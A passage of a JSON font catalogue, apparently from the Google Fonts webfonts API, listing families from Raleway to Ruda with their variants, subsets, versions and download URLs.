        "200": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwOIpaqFFAfif3Vo.ttf",
        "200italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwgqBPBdqazVoK4A.ttf",
        "300": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIYqaqFFAfif3Vo.ttf",
        "300italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw5qNPBdqazVoK4A.ttf",
        "regular": "http://fonts.gstatic.com/s/raleway/v14/1Ptug8zYS_SKggPN-CoCTqluHfE.ttf",
        "italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNyCgISotrDfGGxA.ttf",
        "500": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwN4raqFFAfif3Vo.ttf",
        "500italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwvqJPBdqazVoK4A.ttf",
        "600": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwPIsaqFFAfif3Vo.ttf",
        "600italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwkqVPBdqazVoK4A.ttf",
        "700": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwJYtaqFFAfif3Vo.ttf",
        "700italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw9qRPBdqazVoK4A.ttf",
        "800": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIouaqFFAfif3Vo.ttf",
        "800italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw6qdPBdqazVoK4A.ttf",
        "900": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwK4vaqFFAfif3Vo.ttf",
        "900italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwzqZPBdqazVoK4A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Raleway Dots",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ralewaydots/v7/6NUR8FifJg6AfQvzpshgwJ8kyf9Fdty2ew.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ramabhadra",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ramabhadra/v9/EYq2maBOwqRW9P1SQ83LehNGX5uWw3o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ramaraja",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ramaraja/v4/SlGTmQearpYAYG1CABIkqnB6aSQU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rambla",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rambla/v7/snfrs0ip98hx6mr0I7IONthkwQ.ttf",
        "italic": "http://fonts.gstatic.com/s/rambla/v7/snfps0ip98hx6mrEIbgKFN10wYKa.ttf",
        "700": "http://fonts.gstatic.com/s/rambla/v7/snfos0ip98hx6mrMn50qPvN4yJuDYQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/rambla/v7/snfus0ip98hx6mrEIYC2O_l86p6TYS-Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rammetto One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rammettoone/v8/LhWiMV3HOfMbMetJG3lQDpp9Mvuciu-_SQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ranchers",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ranchers/v7/zrfm0H3Lx-P2Xvs2AoDYDC79XTHv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rancho",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rancho/v10/46kulbzmXjLaqZRlbWXgd0RY1g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ranga",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ranga/v5/C8ct4cYisGb28p6CLDwZwmGE.ttf",
        "700": "http://fonts.gstatic.com/s/ranga/v5/C8cg4cYisGb28qY-AxgR6X2NZAn2.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rasa",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdg52sgC7S9XdZN8.ttf",
        "regular": "http://fonts.gstatic.com/s/rasa/v5/xn7vYHIn1mWmTqJelgiQV9w.ttf",
        "500": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdlZ3sgC7S9XdZN8.ttf",
        "600": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdnpwsgC7S9XdZN8.ttf",
        "700": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdh5xsgC7S9XdZN8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rationale",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rationale/v11/9XUnlJ92n0_JFxHIfHcsdlFMzLC2Zw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ravi Prakash",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/raviprakash/v6/gokpH6fsDkVrF9Bv9X8SOAKHmNZEq6TTFw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Red Hat Display",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIQ7wUr0m80wwYf0QCXZzYzUoTQ-jSgZYvdCQ.ttf",
        "italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIS7wUr0m80wwYf0QCXZzYzUoTg-D6kR47NCV5Z.ttf",
        "500": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToDh2EbaDBAEdAbw.ttf",
        "500italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AZQbqrFIkJQb7zU.ttf",
        "700": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToRhuEbaDBAEdAbw.ttf",
        "700italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYYaKrFIkJQb7zU.ttf",
        "900": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoTofhmEbaDBAEdAbw.ttf",
        "900italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYgaqrFIkJQb7zU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Red Hat Text",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v2",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/redhattext/v2/RrQXbohi_ic6B3yVSzGBrMxgb60sE8yZPA.ttf",
        "italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQJbohi_ic6B3yVSzGBrMxQbacoMcmJPECN.ttf",
        "500": "http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxYm4QIG-eFNVmULg.ttf",
        "500italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ_cGO2BF1yELmgy.ttf",
        "700": "http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxY04IIG-eFNVmULg.ttf",
        "700italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ-UHu2BF1yELmgy.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Redressed",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/redressed/v10/x3dickHUbrmJ7wMy9MsBfPACvy_1BA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Reem Kufi",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/reemkufi/v7/2sDcZGJLip7W2J7v7wQDb2-4C7wFZQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Reenie Beanie",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/reeniebeanie/v10/z7NSdR76eDkaJKZJFkkjuvWxbP2_qoOgf_w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Revalia",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/revalia/v7/WwkexPimBE2-4ZPEeVruNIgJSNM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rhodium Libre",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rhodiumlibre/v4/1q2AY5adA0tn_ukeHcQHqpx6pETLeo2gm2U.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ribeye",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ribeye/v8/L0x8DFMxk1MP9R3RvPCmRSlUig.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ribeye Marrow",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ribeyemarrow/v9/GFDsWApshnqMRO2JdtRZ2d0vEAwTVWgKdtw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Righteous",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/righteous/v8/1cXxaUPXBpj2rGoU7C9mj3uEicG01A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Risque",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/risque/v7/VdGfAZUfHosahXxoCUYVBJ-T5g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Roboto",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v20",
      "lastModified": "2019-07-24",
      "files": {
        "100": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgWxPKTM1K9nz.ttf",
        "100italic": "http://fonts.gstatic.com/s/roboto/v20/KFOiCnqEu92Fr1Mu51QrIzcXLsnzjYk.ttf",
        "300": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmSU5vAx05IsDqlA.ttf",
        "300italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TjARc9AMX6lJBP.ttf",
        "regular": "http://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5WZLCzYlKw.ttf",
        "italic": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1Mu52xPKTM1K9nz.ttf",
        "500": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAx05IsDqlA.ttf",
        "500italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51S7ABc9AMX6lJBP.ttf",
        "700": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlvAx05IsDqlA.ttf",
        "700italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TzBhc9AMX6lJBP.ttf",
        "900": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmYUtvAx05IsDqlA.ttf",
        "900italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TLBBc9AMX6lJBP.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Roboto Condensed",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v18",
      "lastModified": "2019-07-23",
      "files": {
        "300": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-33mZKCMSbvtdYyQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDpCEYatlYcyRi4A.ttf",
        "regular": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVl2ZhZI2eCN5jzbjEETS9weq8-59WxDCs5cvI.ttf",
        "italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVj2ZhZI2eCN5jzbjEETS9weq8-19e7CAk8YvJEeg.ttf",
        "700": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-32meKCMSbvtdYyQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDtCYYatlYcyRi4A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Roboto Mono",
      "category": "monospace",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-22",
      "files": {
        "100": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjAoq3qcW7KCG1w.ttf",
        "100italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xlDF4xlVMF-BfR8bXMIjhOkx6WX5CHC1wnFw.ttf",
        "300": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDgiVq2db6LAkU-.ttf",
        "300italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk9a0f7qpB1U-Drg.ttf",
        "regular": "http://fonts.gstatic.com/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIghMoX6-XqKC.ttf",
        "italic": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjhOq3qcW7KCG1w.ttf",
        "500": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjC4iFq2db6LAkU-.ttf",
        "500italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk461f7qpB1U-Drg.ttf",
        "700": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDwjlq2db6LAkU-.ttf",
        "700italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk8azf7qpB1U-Drg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Roboto Slab",
      "category": "serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2020-02-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojIWWaG5iddG-1A.ttf",
        "200": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDISWaG5iddG-1A.ttf",
        "300": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSWaG5iddG-1A.ttf",
        "regular": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISWaG5iddG-1A.ttf",
        "500": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjovoSWaG5iddG-1A.ttf",
        "600": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoUoOWaG5iddG-1A.ttf",
        "700": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4OWaG5iddG-1A.ttf",
        "800": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDIOWaG5iddG-1A.ttf",
        "900": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoJYOWaG5iddG-1A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rochester",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rochester/v10/6ae-4KCqVa4Zy6Fif-Uy31vWNTMwoQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rock Salt",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rocksalt/v10/MwQ0bhv11fWD6QsAVOZbsEk7hbBWrA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rokkitt",
      "category": "serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v18",
      "lastModified": "2020-02-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rydpDLE76HvN6n.ttf",
        "200": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pyd5DLE76HvN6n.ttf",
        "300": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1qsd5DLE76HvN6n.ttf",
        "regular": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1ryd5DLE76HvN6n.ttf",
        "500": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rAd5DLE76HvN6n.ttf",
        "600": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oscJDLE76HvN6n.ttf",
        "700": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oVcJDLE76HvN6n.ttf",
        "800": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pycJDLE76HvN6n.ttf",
        "900": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pbcJDLE76HvN6n.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Romanesco",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/romanesco/v8/w8gYH2ozQOY7_r_J7mSn3HwLqOqSBg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ropa Sans",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ropasans/v9/EYqxmaNOzLlWtsZSScyKWjloU5KP2g.ttf",
        "italic": "http://fonts.gstatic.com/s/ropasans/v9/EYq3maNOzLlWtsZSScy6WDNscZef2mNE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rosario",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM69GCWczd-YnOzUD.ttf",
        "regular": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68YCWczd-YnOzUD.ttf",
        "500": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68qCWczd-YnOzUD.ttf",
        "600": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6_GDmczd-YnOzUD.ttf",
        "700": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6__Dmczd-YnOzUD.ttf",
        "300italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQStFwfeIFPiUDn08.ttf",
        "italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSo9wfeIFPiUDn08.ttf",
        "500italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSr1wfeIFPiUDn08.ttf",
        "600italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSlF3feIFPiUDn08.ttf",
        "700italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSmh3feIFPiUDn08.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rosarivo",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rosarivo/v7/PlI-Fl2lO6N9f8HaNAeC2nhMnNy5.ttf",
        "italic": "http://fonts.gstatic.com/s/rosarivo/v7/PlI4Fl2lO6N9f8HaNDeA0Hxumcy5ZX8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rouge Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rougescript/v8/LYjFdGbiklMoCIQOw1Ep3S4PVPXbUJWq9g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rozha One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rozhaone/v7/AlZy_zVFtYP12Zncg2khdXf4XB0Tow.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rubik",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Fqj1ma-2HW7ZB_.ttf",
        "300italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nEldWY8WX06IB_18o.ttf",
        "regular": "http://fonts.gstatic.com/s/rubik/v9/iJWKBXyIfDnIV4nGp32S0H3f.ttf",
        "italic": "http://fonts.gstatic.com/s/rubik/v9/iJWEBXyIfDnIV7nErXmw1W3f9Ik.ttf",
        "500": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Eyjlma-2HW7ZB_.ttf",
        "500italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElY2Z8WX06IB_18o.ttf",
        "700": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7F6iFma-2HW7ZB_.ttf",
        "700italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElcWf8WX06IB_18o.ttf",
        "900": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7FCilma-2HW7ZB_.ttf",
        "900italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElf2d8WX06IB_18o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rubik Mono One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rubikmonoone/v8/UqyJK8kPP3hjw6ANTdfRk9YSN-8wRqQrc_j9.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ruda",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2020-02-25",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJFsi_-2KiSGg-H.ttf",
        "500": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJ3si_-2KiSGg-H.ttf",
        "600": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKbtS_-2KiSGg-H.ttf",
        "700": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKitS_-2KiSGg-H.ttf",
